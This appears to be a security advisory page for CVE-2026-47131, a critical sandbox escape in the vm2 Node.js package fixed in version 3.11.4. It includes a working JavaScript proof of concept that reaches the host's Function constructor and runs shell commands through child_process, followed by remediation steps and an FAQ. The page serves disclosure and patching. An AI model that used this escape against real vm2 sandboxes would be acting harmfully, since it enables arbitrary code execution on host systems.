CVE-2026-47131: vm2: Sandbox Escape
Summary By combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERRINVALIDARGTYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code.
PoC js "use strict";
const { VM } = require("vm2"); const vm = new VM();
vm.run( "use strict";
const getProto = Buffer.call.call({}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call({}.lookupSetter, Buffer, "proto");
async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); }
try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("childprocess").execSync("echo pwned", { stdio: "inherit" }); } }
f(); );
Impact Sandbox Escape → RCE
Other sources
vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, by combining Buffer.call.call({}.lookupGetter, Buffer, "proto"), Buffer.call.call({}.lookupSetter, Buffer, "proto"), and Node.js's ERRINVALIDARGTYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. This issue has been patched in version 3.11.4.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.4
Event History
Frequently Asked Questions
What is the severity of CVE-2026-47131?
CVE-2026-47131 has a critical severity score of 10.
How does CVE-2026-47131 affect the system?
CVE-2026-47131 allows an attacker to escape from the sandbox by obtaining the host's TypeError constructor.
What software is impacted by CVE-2026-47131?
CVE-2026-47131 affects the npm package vm2.
How do I fix CVE-2026-47131?
To fix CVE-2026-47131, update to vm2 version 3.11.4 or later.
When was CVE-2026-47131 published?
CVE-2026-47131 was published on May 29, 2026.